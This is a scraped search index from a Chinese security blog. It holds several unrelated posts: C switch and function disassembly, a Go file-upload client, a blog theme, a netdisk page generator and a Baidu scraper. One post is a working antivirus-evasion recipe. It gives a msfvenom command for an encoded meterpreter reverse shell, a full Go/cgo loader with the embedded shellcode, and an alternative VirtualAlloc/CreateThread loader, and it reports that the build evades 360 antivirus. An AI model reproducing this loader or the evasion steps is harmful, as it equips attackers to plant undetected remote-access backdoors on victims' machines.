edx,dword ptr [ebp-4] 0040D7C7 push edx 0040D7C8 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 0040D7CD call printf (004010d0) 0040D7D2 add esp,8 16: break; 0040D7D5 jmp $L537+24h (0040d80e) 17: case 8: 18: printf(\u0026#34;%d\\n\u0026#34;,x); 0040D7D7 mov eax,dword ptr [ebp-4] 0040D7DA push eax 0040D7DB push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 0040D7E0 call printf (004010d0) 0040D7E5 add esp,8 19: break; 0040D7E8 jmp $L537+24h (0040d80e) 20: case 9: 21: printf(\u0026#34;%d\\n\u0026#34;,x); 0040D7EA mov ecx,dword ptr [ebp-4] 0040D7ED push ecx 0040D7EE push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 0040D7F3 call printf (004010d0) 0040D7F8 add esp,8 22: break; 0040D7FB jmp $L537+24h (0040d80e) 23: default: 24: printf(\u0026#34;%d\\n\u0026#34;,x); 0040D7FD mov edx,dword ptr [ebp-4] 0040D800 push edx 0040D801 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 0040D806 call printf (004010d0) 0040D80B add esp,8 25: break; 26: } 跳转表从[edx*4+40D81Fh]取出分支的地址值然后进行jmp，下表是跳转表部分\n1 2 3 4 5 0040D81F 9E D7 40 00 ..@. 0040D823 B1 D7 40 00 ..@. 0040D827 C4 D7 40 00 ..@. 0040D82B D7 D7 40 00 ..@. 0040D82F EA D7 40 00 ..@. 0x03分支跃度大难以构成跳转表的分支结构 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #include \u0026lt;stdio.h\u0026gt; void main() { int x = 5; switch(x) { case 5: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 6: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 7: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 8: printf(\u0026#34;%d\\n\u0026#34;,x); break; case 100: printf(\u0026#34;%d\\n\u0026#34;,x); break; default: printf(\u0026#34;%d\\n\u0026#34;,x); break; } return; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 5: int x = 5; 00401028 mov dword ptr [ebp-4],5 6: switch(x) 7: { 0040102F mov eax,dword ptr [ebp-4] 00401032 mov dword ptr [ebp-8],eax 00401035 mov ecx,dword ptr [ebp-8] 00401038 sub ecx,5 0040103B mov dword ptr [ebp-8],ecx 0040103E cmp dword ptr [ebp-8],5Fh 00401042 ja $L536+13h (004010b5) //具体参见上一种,x大于100跳转到default 00401044 mov eax,dword ptr [ebp-8] //edx=x-5 00401047 xor edx,edx //edx置零 00401049 mov dl,byte ptr (004010ef)[eax] //查询索引表并将取出来的值放入DL(在od里面的这条反汇编更清楚) 0040104F jmp dword ptr [edx*4+4010D7h] //根据DL(EDX)的值查跳转表 8: case 5: 9: printf(\u0026#34;%d\\n\u0026#34;,x); 00401056 mov ecx,dword ptr [ebp-4] 00401059 push ecx 0040105A push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 0040105F call printf (004011a0) 00401064 add esp,8 10: break; 00401067 jmp $L536+24h (004010c6) 11: case 6: 12: printf(\u0026#34;%d\\n\u0026#34;,x); 00401069 mov edx,dword ptr [ebp-4] 0040106C push edx 0040106D push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 00401072 call printf (004011a0) 00401077 add esp,8 13: break; 0040107A jmp $L536+24h (004010c6) 14: case 7: 15: printf(\u0026#34;%d\\n\u0026#34;,x); 0040107C mov eax,dword ptr [ebp-4] 0040107F push eax 00401080 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 00401085 call printf (004011a0) 0040108A add esp,8 16: break; 0040108D jmp $L536+24h (004010c6) 17: case 8: 18: printf(\u0026#34;%d\\n\u0026#34;,x); 0040108F mov ecx,dword ptr [ebp-4] 00401092 push ecx 00401093 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 00401098 call printf (004011a0) 0040109D add esp,8 19: break; 004010A0 jmp $L536+24h (004010c6) 20: case 100: 21: printf(\u0026#34;%d\\n\u0026#34;,x); 004010A2 mov edx,dword ptr [ebp-4] 004010A5 push edx 004010A6 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 004010AB call printf (004011a0) 004010B0 add esp,8 22: break; 004010B3 jmp $L536+24h (004010c6) 23: default: 24: printf(\u0026#34;%d\\n\u0026#34;,x); 004010B5 mov eax,dword ptr [ebp-4] 004010B8 push eax 004010B9 push offset string \u0026#34;%d\\n\u0026#34; (0042201c) 004010BE call printf (004011a0) 004010C3 add esp,8 25: break; 26: } 索引表\n1 2 3 4 5 6 7 8 9 10 11 12 004010F1 00 01 02 03 05 05 05 05 ........ 004010F9 05 05 05 05 05 05 05 05 ........ 00401101 05 05 05 05 05 05 05 05 ........ 00401109 05 05 05 05 05 05 05 05 ........ 00401111 05 05 05 05 05 05 05 05 ........ 00401119 05 05 05 05 05 05 05 05 ........ 00401121 05 05 05 05 05 05 05 05 ........ 00401129 05 05 05 05 05 05 05 05 ........ 00401131 05 05 05 05 05 05 05 05 ........ 00401139 05 05 05 05 05 05 05 05 ........ 00401141 05 05 05 05 05 05 05 05 ........ 00401149 05 05 05 05 05 05 05 04 ........ 跳转表\n1 2 3 4 5 6 004010D9 58 10 40 00 X.@. 004010DD 6B 10 40 00 k.@. 004010E1 7E 10 40 00 ~.@. 004010E5 91 10 40 00 ..@. 004010E9 A4 10 40 00 ..@. 004010ED B7 10 40 00 ..@. ","permalink":"https://www.hacktech.cn/post/2017/09/switch-disassemble-c/","summary":"\u003cp\u003e在分支较多的时候，switch的效率比if高，在反汇编中我们即可看到效率高的原因\u003c/p\u003e","title":"switch反汇编(C语言)"},{"content":"0x01 环境 xp+vc6.0\n0x02 代码 1 2 3 4 int plus(int x, int y) { return 0; } 以下是vc6.0的反汇编窗口\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 1: int plus(int x, int y) 2: { 00401020 push ebp 00401021 mov ebp,esp 00401023 sub esp,40h 00401026 push ebx 00401027 push esi 00401028 push edi 00401029 lea edi,[ebp-40h] 0040102C mov ecx,10h 00401031 mov eax,0CCCCCCCCh 00401036 rep stos dword ptr [edi] 3: return 0; 00401038 xor eax,eax 4: } 0040103A pop edi 0040103B pop esi 0040103C pop ebx 0040103D mov esp,ebp 0040103F pop ebp 00401040 ret 0x03 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 push ebp mov ebp,esp sub esp,40h //提升栈，为函数腾出空间，为ebp寻址做准备 push ebx push esi push edi //寄存器压栈，保存现场 lea edi,[ebp-40h] //将ebp-40h（esp）的具体内存地址存到edi mov ecx,10h //10（十六进制）存入计数寄存器 mov eax,0xCCCCCCCC //初始化eax rep stos dword ptr [edi] //用eax中的值初始化到es:[edi]指向的地址，长度为dword，循环执行次数为eax中的值（恰好ebp-\u0026gt;esp全部被初始化） xor eax,eax //eax清零 pop edi pop esi pop ebx mov esp,ebp pop ebp ret //寄存器出栈，恢复现场，堆栈平衡并返回 ","permalink":"https://www.hacktech.cn/post/2017/09/the-easiest-clanguage-function-assembly-analysis/","summary":"\u003ch2 id=\"0x01-环境\"\u003e0x01 环境\u003c/h2\u003e\n\u003cp\u003exp+vc6.0\u003c/p\u003e\n\u003ch2 id=\"0x02-代码\"\u003e0x02 代码\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eplus\u003c/span\u003e(\u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e x, \u003cspan style=\"color:#66d9ef\"\u003eint\u003c/span\u003e y)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"最最简单的c语言函数汇编分析"},{"content":"客户端通过multipart.Write把文件的文本流写入一个缓存中，然后调用http的Post方法把缓存传到服务器。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package main import ( \u0026#34;bytes\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;io\u0026#34; \u0026#34;io/ioutil\u0026#34; \u0026#34;mime/multipart\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;os\u0026#34; ) func postFile(filename string, targetUrl string) error { bodyBuf := \u0026amp;bytes.Buffer{} bodyWriter := multipart.NewWriter(bodyBuf) //关键的一步操作 fileWriter, err := bodyWriter.CreateFormFile(\u0026#34;uploadfile\u0026#34;, filename) if err != nil { fmt.Println(\u0026#34;error writing to buffer\u0026#34;) return err } //打开文件句柄操作 fh, err := os.Open(filename) if err != nil { fmt.Println(\u0026#34;error opening file\u0026#34;) return err } defer fh.Close() //iocopy _, err = io.Copy(fileWriter, fh) if err != nil { return err } contentType := bodyWriter.FormDataContentType() bodyWriter.Close() resp, err := http.Post(targetUrl, contentType, bodyBuf) if err != nil { return err } defer resp.Body.Close() resp_body, err := ioutil.ReadAll(resp.Body) if err != nil { return err } fmt.Println(resp.Status) fmt.Println(string(resp_body)) return nil } // sample usage func main() { target_url := \u0026#34;http://localhost/upload\u0026#34; filename := \u0026#34;./example.pdf\u0026#34; postFile(filename, target_url) } ","permalink":"https://www.hacktech.cn/post/2017/07/go-post-form-file-upload/","summary":"\u003cp\u003e客户端通过multipart.Write把文件的文本流写入一个缓存中，然后调用http的Post方法把缓存传到服务器。\u003c/p\u003e","title":"Golang模拟客户端POST表单功能文件上传"},{"content":"前言 关于这个主题的移植后公布，我已经联系了主题作者并取得同意，这个主题是一夜涕所写的Sgreen，预览图见下\n关于WDTP 就是一个很方便很便携很快速的cpp编写的带gui跨平台的开源的静态博客生成器，软件作者更新记录在V站可以找到,软件官网也可以找到\n主题预览图 DEMO Demo\n功能 内置两种颜色的css，根据白天夜晚控制进行替换 WDTP预览采用的ie内核，Qplayer的player.js文件会一直爆语法错误，增加了一段js用来判断是否是ie内核的浏览器，如果不是ie内核才会加载player.js 数遍移植链接抖动特效 鼠标移至头像与社交图标会有旋转效果 Qplayer音乐播放器 zoom图片效果 复制时会出现版权弹窗提示，复制的文本也带有版权信息 弹窗采用sweetalert 手机端的适配 安装说明 安装WDTP并新建项目后点击中间齿轮导入外部主题，然后在右侧属性面板选择主题Sgreen 然后根节点新建三个文件，名称分别为archives,about,links并在右侧属性面板把三个文档设置为隐身模式（也就是不参与整站博客目录生成，但是html文件都存在） 点击上方眼睛图标可以进入编辑界面，编辑界面右键-扩展标记-发布记录，可以增加时间归档标记 更多玩法可以自己发掘或者软件帮助看说明\n主题下载地址 点击我下载\n","permalink":"https://www.hacktech.cn/post/2017/06/sgreen-on-wdtp/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e关于这个主题的移植后公布，我已经联系了主题作者并取得同意，这个主题是\u003ca href=\"http://yiyeti.cc/\"\u003e一夜涕\u003c/a\u003e所写的\u003ca href=\"http://yiyeti.cc/zheteng/132.html\"\u003eSgreen\u003c/a\u003e，预览图见下\u003c/p\u003e","title":"为静态博客生成器WDTP移植了一款美美哒主题"},{"content":"msf是一个很强大的工具，我经常会在渗透用它来反弹shell，不过它生成的反弹后门会被不少杀软kill，这篇文章只是讲讲我在msf中一个简单的免杀小技巧\n思路 我以前接触过一款python的远控，其实说是远控，基本也就是nc的功能加了一个服务端的web页面控制并加了一些其他的功能可以用来管理诸多客户机 这款远控我下载下来用过，并用pyinstaller打包成了exe（缺点是体积太过庞大），惊奇的是，360不杀它，然后自己想着其他语言是不是也会这样，于是我用golang写了一个简易版nc反弹，编译之后，也是不查杀的。python和golang有一个共同点，就是可以用来内联C编程，所以C语言的shellcode按理说应该会达到同样的效果\n得到shellcode 1 msfvenom -p windows/meterpreter/reverse_tcp LPORT=5555 LHOST=192.168.1.100 -e x86/shikata_ga_nai -i 11 -f py \u0026gt; 1.py 建议是生成32位的，如果想生成64位也可以，-e x86/shikata_ga_nai -i 11是指用x86/shikata_ga_nai编码迭代11次，然后生成py文件 py文件打开是shellcode，我们接下来对它进行一点小改造，对于python去执行shellcode的方法，相信小伙伴都已经不陌生，在《python灰帽子》中有讲解，我今天要使用的是golang，其实个人认为golang执行shellcode的代码是更简洁的\nGolang环境搭建 安装Golang32位（建议32位，与前面对应，在测试过程中，如果32位shellcode配合64位golang加32位gcc，就算把golang的GOARCH改为386也依旧会失败，建议一一对应），安装gcc32位（可以使用TDM-GCC）\n代码编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package main /* void call(char *code) { int (*ret)() = (int(*)())code; ret(); } */ import \u0026#34;C\u0026#34; import \u0026#34;unsafe\u0026#34; func main() { buf := \u0026#34;\u0026#34; buf += \u0026#34;\\xdd\\xc6\\xd9\\x74\\x24\\xf4\\x5f\\x33\\xc9\\xb8\\xb3\\x5e\\x2c\u0026#34; buf += \u0026#34;\\xc9\\xb1\\x97\\x31\\x47\\x1a\\x03\\x47\\x1a\\x83\\xc7\\x04\\xe2\u0026#34; buf += \u0026#34;\\x46\\x84\\xfd\\x72\\xee\\x0e\\xb5\\x96\\x37\\x04\\x6d\\x63\\x9f\u0026#34; buf += \u0026#34;\\xcc\\xa4\\x3a\\x8e\\x8c\\xf7\\x39\\x81\\xca\\xe4\\x42\\xff\\xce\u0026#34; buf += \u0026#34;\\xa3\\xa2\\xdb\\x06\\xc0\\x3f\\xaf\\x41\\x73\\xba\\xf7\\x20\\x13\u0026#34; buf += \u0026#34;\\x98\\x8c\\xff\\xfa\\x0a\\xda\\x6e\\xf2\\x6d\\xc3\\x81\\x07\\xc0\u0026#34; buf += \u0026#34;\\x1b\\x37\\xeb\\xa2\\xa9\\x32\\x71\\xaf\\xe9\\x20\\xd1\\xaa\\x9e\u0026#34; buf += \u0026#34;\\xbd\\x82\\xf3\\x81\\x1f\\xab\\xbf\\xc4\\xd9\\x6c\\x75\\x37\\x3a\u0026#34; buf += \u0026#34;\\x53\\x78\\x90\\x79\\xaf\\x93\\x1b\\xb3\\x15\\x09\\xe5\\x45\\x5c\u0026#34; buf += \u0026#34;\\x26\\x0f\\x0d\\x16\\x52\\xf1\\x8a\\x7e\\x8b\\xc4\\x50\\x8e\\x0a\u0026#34; buf += \u0026#34;\\x38\\x2f\\x2b\\x40\\x73\\x0b\\xf0\\x51\\x5f\\xc6\\xbf\\x04\\x47\u0026#34; buf += \u0026#34;\\x80\\x36\\xe5\\x88\\x88\\xb3\\xfc\\xa0\\x52\\xfe\\x92\\x81\\x8d\u0026#34; buf += \u0026#34;\\x89\\xf2\\x6a\\xcc\\x7f\\x9a\\xe9\\x1a\\x30\\x73\\xa3\\x63\\x42\u0026#34; buf += \u0026#34;\\x10\\xe9\\xcf\\x62\\xe4\\x06\\x52\\xe1\\x8d\\x88\\xfe\\x52\\xc4\u0026#34; buf += \u0026#34;\\xc3\\xed\\x7a\\x0e\\x66\\x5f\\x8c\\x2c\\xef\\xfa\\xbd\\x8c\\x79\u0026#34; buf += \u0026#34;\\x6c\\x01\\xe3\\x5c\\xde\\xc4\\x8a\\x4c\\x7d\\x34\\x32\\xb5\\x23\u0026#34; buf += \u0026#34;\\x56\\x6c\\x52\\x3f\\x15\\x26\\x6a\\xf8\\x6b\\x81\\x2c\\x23\\x8d\u0026#34; buf += \u0026#34;\\x41\\x6e\\x24\\x30\\xc6\\xcb\\xba\\x26\\xd4\\x3b\\x37\\xd3\\xc6\u0026#34; buf += \u0026#34;\\xa8\\x5a\\x16\\x8f\\x1e\\x27\\xca\\xcb\\xda\\x7f\\x74\\x62\\xb2\u0026#34; buf += \u0026#34;\\x62\\xa6\\xb1\\xfc\\x64\\x53\\x3a\\xa7\\xa4\\x21\\x3d\\x79\\x08\u0026#34; buf += \u0026#34;\\x06\\x74\\x2a\\xa2\\xe7\\x0d\\x68\\x16\\xa3\\x96\\xe5\\xad\\x32\u0026#34; buf += \u0026#34;\\x10\\xa3\\x0f\\x49\\xc3\\x69\\xa7\\x5b\\x61\\x1a\\xf8\\x1d\\x9e\u0026#34; buf += \u0026#34;\\x9b\\x3a\\x00\\xfc\\x18\\xc3\\x42\\x1a\\xd6\\x44\\x5d\\xfe\\xc5\u0026#34; buf += \u0026#34;\\xb6\\x68\\xd2\\xad\\x24\\xda\\x74\\xa7\\xf3\\x66\\x9a\\x42\\x7a\u0026#34; buf += \u0026#34;\\x50\\xf0\\x0b\\x47\\xbc\\xad\\x6c\\x1e\\xca\\xbe\\x90\\xca\\xc3\u0026#34; buf += \u0026#34;\\x8e\\x5b\\xde\\x66\\xe2\\xb3\\x20\\x6f\\x38\\x17\\xc1\\xac\\xfb\u0026#34; buf += \u0026#34;\\xd3\\x2f\\x91\\xa7\\xff\\x65\\xd7\\xd0\\x25\\x4c\\xd4\\xb3\\x35\u0026#34; buf += \u0026#34;\\x38\\xa1\\x82\\xb8\\x23\\x42\\xe9\\xa5\\x95\\x8e\\xc4\\x35\\xca\u0026#34; buf += \u0026#34;\\x92\\xfe\\xde\\x62\\x70\\xd6\\x7a\\x7f\\xfd\\xfb\\xf0\\x24\\xbd\u0026#34; buf += \u0026#34;\\x5d\\x6d\\x3d\\x13\\xbc\\x1d\\x25\\x54\\x9d\\x0e\\x68\\xc8\\x9a\u0026#34; buf += \u0026#34;\\x10\\x87\\xf0\\xc9\\xac\\x37\\x57\\x84\\x23\\x5f\\x8a\\xc0\\xab\u0026#34; buf += \u0026#34;\\x52\\x6e\\xae\\x79\\xa2\\xdb\\xff\\xd8\\x41\\x28\\x8b\\xd3\\x9d\u0026#34; buf += \u0026#34;\\x68\\x3c\\x55\\xf2\\xfe\\x0c\\x8a\\x38\\xdf\\xb3\\x80\\x9b\\x70\u0026#34; buf += \u0026#34;\\x2b\\x4e\\xe1\\xfa\\x0b\\xfe\\xf5\\xc3\\x1a\\x0d\\x83\\xb0\\x69\u0026#34; buf += \u0026#34;\\xd0\\x68\\xfb\\xe0\\xae\\xbd\\x56\\x52\\x17\\x9a\\xf8\\x8f\\xc0\u0026#34; buf += \u0026#34;\\x14\\x8c\\xb0\\xf7\\x0e\\x87\\xfa\\x54\\xf4\\x04\\x4a\\x5a\\xc8\u0026#34; buf += \u0026#34;\\x89\\x57\\x0e\\xbf\\x7a\\x76\\x9b\\xfe\\xb8\\x5f\\x31\\x42\\xec\u0026#34; buf += \u0026#34;\\xaf\\x18\\x9e\\x3f\\xf0\\x09\\x79\\x86\\xb3\\x08\\x29\\x50\\xfd\u0026#34; buf += \u0026#34;\\xc3\\x46\\x7d\\x24\\x51\\x5b\\xd0\\x81\\x19\\x6f\\xc2\\x2c\\x17\u0026#34; buf += \u0026#34;\\xab\\xa3\\xb7\\xd9\\x6f\\x82\\xd9\\x37\\x5f\\x38\\x01\\xd8\\xfd\u0026#34; buf += \u0026#34;\\xfd\\x11\\x22\\x61\\xd0\\x92\\x45\\x37\\x4f\\x6c\\x4e\\x91\\x3b\u0026#34; buf += \u0026#34;\\x42\\x07\\xc5\\x77\\xdc\\x52\\xd6\\xc7\\x9d\\x7b\\x62\\xba\\x1c\u0026#34; buf += \u0026#34;\\x62\\x3c\\xde\\xad\\x96\\x03\\x55\\xde\\x9d\\x52\\x5c\\x5d\\x0c\u0026#34; buf += \u0026#34;\\x73\\x0e\\xc3\\x4c\\xae\\x7d\\x1c\\x7c\\x64\\xaf\\xbb\\xce\\xa6\u0026#34; buf += \u0026#34;\\x02\\x0e\\xb1\\x51\\xc4\\x2d\\x1b\\x6b\\xb7\\x7c\\xd9\\x4b\\xc3\u0026#34; buf += \u0026#34;\\x8c\\x43\\xd6\\x1b\\x2a\\x4f\\x5e\\x0a\\x9a\\xd5\\x4d\\x45\\x64\u0026#34; buf += \u0026#34;\\x6c\\x0c\\xc8\\xf5\\x59\\xd7\\x45\\x36\\x85\\x99\\x8d\\x34\\x65\u0026#34; buf += \u0026#34;\\x21\\xd3\\x3b\\x35\\xce\\x22\\x29\\x0c\\x4e\\xca\\x48\\x3f\\x55\u0026#34; buf += \u0026#34;\\x5d\\x1b\\xda\\x35\\xc1\\x2d\u0026#34; // at your call site, you can send the shellcode directly to the C // function by converting it to a pointer of the correct type. shellcode := []byte(buf) C.call((*C.char)(unsafe.Pointer(\u0026amp;shellcode[0]))) } 以上就是全部代码 其实Golang还有个执行shellcode的方法是不用内联C语言的，但是我这边测试能接到反弹shell，但是执行命令会直接断开，代码我也贴出来\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package main import ( \u0026#34;syscall\u0026#34; \u0026#34;unsafe\u0026#34; ) func ThreadExecute(Shellcode []byte) { var K32 = syscall.MustLoadDLL(\u0026#34;kernel32.dll\u0026#34;) var CreateThread = K32.MustFindProc(\u0026#34;CreateThread\u0026#34;) var VirtualAlloc = K32.MustFindProc(\u0026#34;VirtualAlloc\u0026#34;) var WaitForSingleObject = K32.MustFindProc(\u0026#34;WaitForSingleObject\u0026#34;) Addr, _, _ := VirtualAlloc.Call(0, uintptr(len(Shellcode)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr)) for i := 0; i \u0026lt; len(Shellcode); i++ { AddrPtr[i] = Shellcode[i] } ThreadAddr, _, _ := CreateThread.Call(0, 0, Addr, 0, 0, 0) WaitForSingleObject.Call(ThreadAddr, 0xFFFFFFFF) } 关于断开的原因，希望找出原因的能告知我一下，其实我们会发现，内联C是比较简单的\n杀毒测试 在代码所在目录cmd执行go build得到二进制文件（或者可以用go build -ldflags=\u0026quot;-s -w\u0026quot;减小体积，go build -ldflags=\u0026quot;-H windowsgui -s -w\u0026quot;去掉命令窗口） 可以看到360的静态查杀和动态查杀都没有发现 那么是否正常工作呢 可以看到完全是没问题的，体积比python编译出来的小的多，编译出来是500多kb，然后经过upx压缩了一下（测试upx压缩后功能依旧正常），降低到了200多kb 视频 {% bilibili \u0026ldquo;aid:9975200\u0026rdquo; \u0026ldquo;quality:high\u0026rdquo; \u0026ldquo;danmaku\u0026rdquo; \u0026ldquo;allowfullscreen\u0026rdquo; %}\n","permalink":"https://www.hacktech.cn/post/2017/04/msf-antivirus/","summary":"\u003cp\u003emsf是一个很强大的工具，我经常会在渗透用它来反弹shell，不过它生成的反弹后门会被不少杀软kill，这篇文章只是讲讲我在msf中一个简单的免杀小技巧\u003c/p\u003e","title":"关于msf反弹后门的免杀Tips"},{"content":"虽说我的网盘（exm，也许页面确实丑了点，不过页面生成的样式你自己可以改）美工已经被乱刀砍死，但是还是有小伙伴问我是怎么搭建的\n关于搭建 这个真没什么好说的，vps我只安装了nginx，然后配置域名指向到我的同步目录，然后用其他工具同步上去就行了（关于问自己手动同步麻烦的，其实并不麻烦，有很多好用的软件，本人用的Resilio Sync）\n关于页面的生成 第一阶段 那时候只有两三个文件，html页面是我手写的手动增加的\n第二阶段 此时已经有了一个子目录，文件开始增多，我开始考虑写个简单的先用着，Python的写了，不过速度感觉有点不如意（原谅我的吹毛求疵）,并且有个麻烦事是每次重装系统后需要安装Python，然后我选用了Golang，时间仓促写了一个单页面生成，不进行目录深度遍历的，也就是说我每次新开一个目录需要把这个程序拷贝到当目录下双击生成html\n第三阶段 文件夹和文件日益增多，上面的方式我已经感觉到特别繁琐了，需要找个机会把代码重构一下，使他更加优化 然后我开始着手写第二版，这个版本我没保留，具体功能就是对上一个版本做了一点改进，使它支持了深度遍历 但是自从T00ls灵车漂移事件以来，官方管理员给GetWriter老哥（如果谁认识希望告知，希望能致个歉）的一纸封书将此事推上风口浪尖，作为始作俑者，我网站首当其冲，遭受了大量老哥多来自夜间的洗礼（说实话，希望高抬贵手，流量快没了），这件事情持续发酵了两三天，我一直在思考，如何为老哥们带来更良好的观感体验，于是我觉得应该要让这个页面生成器对前端展示的修改更加方便，无须从代码入手，开始了第三版的编写\n暂时实现的功能 支持模板 加入了配置文件（其实也是模板） 加入了noView.txt规则（具体表现为这个txt中的文件名将不参与生成html页面） 可能以后会抽时间再进行优化，这个时间不定，看哪天自己的需求更高了 更新记录在下面，更新后的代码就不贴了，之前的代码我就在这个页面上删了，自己感兴趣可以上github查看 至于前端 你们别想了，前端之魂在我体内没存在过，哪天兴致来了可能会看看相关知识，这个丑页面就丑着凑合看吧，如果有能力可以进行二次修改\n为它搞了一套css与文件类型图标（关于style.css文件，是需要你放到远端在线调用的，你可以上传到七牛，或者你同步的时候放到网站根目录下，然后通过域名+/style.css的方式来调用）\n更新记录 对一部分冗余的进行了优化，提升了一丁点效率 可以放到环境变量path了，不需要放到本目录里了，只需要在本目录调用就可以（当然），按照之前的方法也是可以的 对文件li列表做了排序，优先级为后缀名-\u0026gt;文件名 对li列表加了css类，可以自定义li的css了，具体见生成后的文件 为页面生成器搞了一套css，为类型加上了图标，具体效果见下图 下载地址 这次不能给抓住机会了，放github吧\n代码下载地址 二进制文件下载地址 ","permalink":"https://www.hacktech.cn/post/2017/04/my-yun-generatehtml-with-golang/","summary":"\u003cp\u003e虽说我的网盘（exm，也许页面确实丑了点，不过页面生成的样式你自己可以改）美工已经被乱刀砍死，但是还是有小伙伴问我是怎么搭建的\u003c/p\u003e\n\u003ch2 id=\"关于搭建\"\u003e关于搭建\u003c/h2\u003e\n\u003cp\u003e这个真没什么好说的，vps我只安装了nginx，然后配置域名指向到我的同步目录，然后用其他工具同步上去就行了（关于问自己手动同步麻烦的，其实并不麻烦，有很多好用的软件，本人用的Resilio Sync）\u003c/p\u003e","title":"自己网盘的页面生成器(私用公开-Golang)"},{"content":"代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def parseBaidu(keyword, pagenum): keywordsBaseURL = \u0026#39;https://www.baidu.com/s?wd=\u0026#39; + str(quote(keyword)) + \u0026#39;\u0026amp;oq=\u0026#39; + str(quote(keyword)) + \u0026#39;\u0026amp;ie=utf-8\u0026#39; + \u0026#39;\u0026amp;pn=\u0026#39; pnum = 0 while pnum \u0026lt;= int(pagenum): baseURL = keywordsBaseURL + str(pnum*10) try: request = requests.get(baseURL, headers=headers) soup = BeautifulSoup(request.text, \u0026#34;html.parser\u0026#34;) for a in soup.select(\u0026#39;div.c-container \u0026gt; h3 \u0026gt; a\u0026#39;): url = requests.get(a[\u0026#39;href\u0026#39;], headers=headers).url yield url except: yield None finally: pnum += 1 示例用法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requests from bs4 import BeautifulSoup headers = { \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0\u0026#34; } def parseBaidu(keyword, pagenum) def main(): for url in parseBaidu(\u0026#34;keyword\u0026#34;,10): if url: print(url) else: continue ","permalink":"https://www.hacktech.cn/post/2017/04/baidusearch-get-realurl-with-python/","summary":"\u003ch2 id=\"代码\"\u003e代码\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv 